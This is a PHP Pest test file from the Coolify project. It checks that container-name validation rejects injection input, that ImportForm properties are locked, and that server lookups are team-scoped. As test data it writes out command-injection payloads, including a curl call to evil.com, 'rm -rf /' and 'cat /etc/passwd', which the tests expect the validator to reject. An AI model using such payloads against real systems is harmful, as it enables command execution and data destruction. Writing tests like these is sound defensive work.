mirror of
https://github.com/coollabsio/coolify.git
synced 2026-11-04 18:52:49 +00:00
Remove tests that copy app logic into the test, grep PHP source as text, only check literals, constants, class_exists or PHP built-ins, duplicate other tests, or are always skipped. Keep source checks that guard security and authorization rules. Rename a duplicate Pest helper so the full suite loads, drop the missing v5/Browser path, and remove the CLAUDE.md symlink in favor of AGENTS.md. Correct AGENTS.md: Dusk is not installed and the upgrade script is scripts/upgrade.sh.
105 lines
4.3 KiB
PHP
105 lines
4.3 KiB
PHP
<?php
|
|
|
|
use App\Livewire\Project\Database\ImportForm;
|
|
use App\Support\ValidationPatterns;
|
|
use Livewire\Attributes\Locked;
|
|
|
|
describe('container name validation', function () {
|
|
test('isValidContainerName accepts valid container names', function () {
|
|
expect(ValidationPatterns::isValidContainerName('my-container'))->toBeTrue();
|
|
expect(ValidationPatterns::isValidContainerName('my_container'))->toBeTrue();
|
|
expect(ValidationPatterns::isValidContainerName('container123'))->toBeTrue();
|
|
expect(ValidationPatterns::isValidContainerName('my.container.name'))->toBeTrue();
|
|
expect(ValidationPatterns::isValidContainerName('a'))->toBeTrue();
|
|
expect(ValidationPatterns::isValidContainerName('abc-def_ghi.jkl'))->toBeTrue();
|
|
});
|
|
|
|
test('isValidContainerName rejects command injection payloads', function () {
|
|
// Command substitution
|
|
expect(ValidationPatterns::isValidContainerName('$(curl http://evil.com/$(whoami))'))->toBeFalse();
|
|
expect(ValidationPatterns::isValidContainerName('$(whoami)'))->toBeFalse();
|
|
|
|
// Backtick injection
|
|
expect(ValidationPatterns::isValidContainerName('`id`'))->toBeFalse();
|
|
|
|
// Semicolon chaining
|
|
expect(ValidationPatterns::isValidContainerName('container;rm -rf /'))->toBeFalse();
|
|
|
|
// Pipe injection
|
|
expect(ValidationPatterns::isValidContainerName('container|cat /etc/passwd'))->toBeFalse();
|
|
|
|
// Ampersand chaining
|
|
expect(ValidationPatterns::isValidContainerName('container&&env'))->toBeFalse();
|
|
|
|
// Spaces (not valid in Docker container names)
|
|
expect(ValidationPatterns::isValidContainerName('container name'))->toBeFalse();
|
|
|
|
// Newlines
|
|
expect(ValidationPatterns::isValidContainerName("container\nid"))->toBeFalse();
|
|
|
|
// Must start with alphanumeric
|
|
expect(ValidationPatterns::isValidContainerName('-container'))->toBeFalse();
|
|
expect(ValidationPatterns::isValidContainerName('.container'))->toBeFalse();
|
|
expect(ValidationPatterns::isValidContainerName('_container'))->toBeFalse();
|
|
});
|
|
});
|
|
|
|
describe('locked properties', function () {
|
|
test('container property has Locked attribute', function () {
|
|
$property = new ReflectionProperty(ImportForm::class, 'container');
|
|
$attributes = $property->getAttributes(Locked::class);
|
|
|
|
expect($attributes)->not->toBeEmpty();
|
|
});
|
|
|
|
test('serverId property has Locked attribute', function () {
|
|
$property = new ReflectionProperty(ImportForm::class, 'serverId');
|
|
$attributes = $property->getAttributes(Locked::class);
|
|
|
|
expect($attributes)->not->toBeEmpty();
|
|
});
|
|
|
|
test('resourceId property has Locked attribute', function () {
|
|
$property = new ReflectionProperty(ImportForm::class, 'resourceId');
|
|
$attributes = $property->getAttributes(Locked::class);
|
|
|
|
expect($attributes)->not->toBeEmpty();
|
|
});
|
|
|
|
test('resourceType property has Locked attribute', function () {
|
|
$property = new ReflectionProperty(ImportForm::class, 'resourceType');
|
|
$attributes = $property->getAttributes(Locked::class);
|
|
|
|
expect($attributes)->not->toBeEmpty();
|
|
});
|
|
|
|
test('resourceUuid property has Locked attribute', function () {
|
|
$property = new ReflectionProperty(ImportForm::class, 'resourceUuid');
|
|
$attributes = $property->getAttributes(Locked::class);
|
|
|
|
expect($attributes)->not->toBeEmpty();
|
|
});
|
|
|
|
test('resourceDbType property has Locked attribute', function () {
|
|
$property = new ReflectionProperty(ImportForm::class, 'resourceDbType');
|
|
$attributes = $property->getAttributes(Locked::class);
|
|
|
|
expect($attributes)->not->toBeEmpty();
|
|
});
|
|
});
|
|
|
|
describe('server method uses team scoping', function () {
|
|
test('server computed property calls ownedByCurrentTeam', function () {
|
|
$method = new ReflectionMethod(ImportForm::class, 'server');
|
|
|
|
// Extract the server method body
|
|
$startLine = $method->getStartLine();
|
|
$endLine = $method->getEndLine();
|
|
$lines = array_slice(file($method->getFileName()), $startLine - 1, $endLine - $startLine + 1);
|
|
$methodBody = implode('', $lines);
|
|
|
|
expect($methodBody)->toContain('ownedByCurrentTeam');
|
|
expect($methodBody)->not->toContain('Server::find($this->serverId)');
|
|
});
|
|
});
|